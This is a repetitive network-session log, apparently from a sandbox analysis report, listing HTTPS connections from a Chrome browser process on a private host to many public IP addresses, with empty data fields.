842	192.168.2.4	50794	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.4	50791	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.4	50789	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.4	50801	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.4	50786	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.4	50811	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.4	50818	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.4	50805	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.4	50793	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.4	50800	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.4	50815	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.4	50803	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.4	50792	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.4	50787	23.105.12.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.4	50798	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.4	50802	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.4	50788	3.222.196.53	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.4	50834	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.4	50808	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.4	50837	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.4	50785	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.4	50804	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.4	50810	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.4	50829	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.4	50819	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.4	50839	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.4	50817	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.4	50860	107.178.254.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.4	50840	44.210.227.34	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.4	50832	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.4	50873	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.4	50836	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.4	50892	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.4	50838	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.4	50854	172.64.149.180	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.4	50842	18.244.134.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.4	50797	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.4	50869	192.0.78.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.4	50826	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.4	50813	52.46.143.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.4	50855	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.4	50799	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.4	50835	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.4	50816	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.4	50783	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.4	50795	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.4	50827	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.4	50833	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.4	50825	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.4	50888	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.4	50895	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.4	50828	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.4	50814	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.4	50784	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.4	50820	142.251.163.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.4	50823	141.95.33.120	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.4	50871	34.149.50.64	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.4	50901	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.4	50889	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.4	50830	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.4	50890	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.4	50902	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.4	50899	34.205.236.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.4	50906	74.121.140.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.4	50831	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.4	50914	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.4	50894	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.4	50843	34.120.107.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.4	50845	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.4	50870	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.4	50879	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.4	50885	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.4	50900	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.4	50898	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.4	50891	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.4	50807	3.222.196.53	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.4	50849	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.4	50841	18.244.134.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.4	50886	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.4	50883	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.4	50911	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.4	50910	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.4	50904	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.4	50878	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.4	50848	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.4	50921	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.4	50924	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.4	50925	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.4	50926	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.4	50932	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.4	50927	142.251.16.149	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.4	50933	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.4	50936	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.4	50844	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.4	50876	23.40.62.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.4	50948	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.4	50806	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.4	50796	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.4	50812	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.4	50887	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.4	50976	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.4	50946	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.4	50940	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.4	50947	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.4	50939	69.90.254.78	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.4	50944	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.4	50942	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.4	50943	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.4	50979	50.16.42.122	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.4	50982	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.4	50981	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.4	50985	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.4	50986	23.21.22.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.4	50987	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.4	50990	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.4	50989	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.4	50983	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.4	50991	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.4	50977	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.4	50996	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.4	50998	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.4	50999	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.4	50993	54.144.215.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.4	51002	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.4	51001	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.4	51000	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.4	51003	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.4	50997	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.4	51006	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.4	51011	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.4	51007	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.4	51009	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.4	51004	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.4	51012	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.4	50882	34.102.243.38	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.4	51014	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.4	51017	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.4	51008	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.4	51013	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.4	51019	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.4	51018	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.4	50909	34.102.181.119	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

